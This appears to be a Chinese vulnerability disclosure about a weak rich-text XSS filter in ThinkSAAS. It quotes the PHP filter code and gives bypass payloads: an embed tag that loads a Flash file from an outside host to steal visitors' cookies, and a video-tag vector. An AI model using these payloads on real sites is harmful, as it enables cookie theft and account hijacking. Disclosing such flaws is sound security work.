富文本过滤不严格导致可植入恶意脚本盗取用户cookies
对比了一下 WooYun: Thinksaas存储型XSS ,发现确实更新了。我就无耻的来了。
下面是对富文本过滤的代码片段:
function cleanJs($text) {
$text = trim ( $text );
//$text = stripslashes ( $text );
// 完全过滤注释
$text = preg_replace ( '//', '', $text );
// 完全过滤动æ€ä»£ç
$text = preg_replace ( '/<\?|\?>/', '', $text );
// 完全过滤js
$text = preg_replace ( '/<script?.*\/script>/', '', $text );
// 过滤多余html
$text = preg_replace ( '/<\/?(html|head|meta|link|base|body|title|style|script|form|iframe|frame|frameset|math|maction|marquee)[^><]*>/i', '', $text );
// 过滤on事件lang js
while ( preg_match ( '/(<[^><]+)(data|onfinish|onmouse|onexit|onerror|onclick|onkey|onload|onchange|onfocus|onblur|onscroll)[^><]+/i', $text, $mat ) ) {
$text = str_replace ( $mat [0], $mat [1], $text );
}
while ( preg_match ( '/(<[^><]+)(window\.|javascript:|js:|about:|file:|document\.|vbs:|cookie)([^><]*)/i', $text, $mat ) ) {
$text = str_replace ( $mat [0], $mat [1] . $mat [3], $text );
}
return $text;
}
这个Filter依然存在很多问题,比如我们可以植入恶意的flash文件来盗取访问该页面的其它用户的cookies。该问题已在官网上重现。
<embed allowScriptAccess=always src=http://x55.me/x55.swf>
除此之外看到有人说,对于这个Filter已经没有什么好用的event handler可以用来触发xss了,我觉得好像也不是。所以再提供一种方案:
<video src="//x55.me/1.ogg">
上面的XSS Vector在chrome/firefox/Opera下有效。
攻击者在目标站插入恶意代码:
用户访问被插入恶意代码的页面时cookies被发送到攻击者的收信端:
攻击者成功获取受害者的cookies: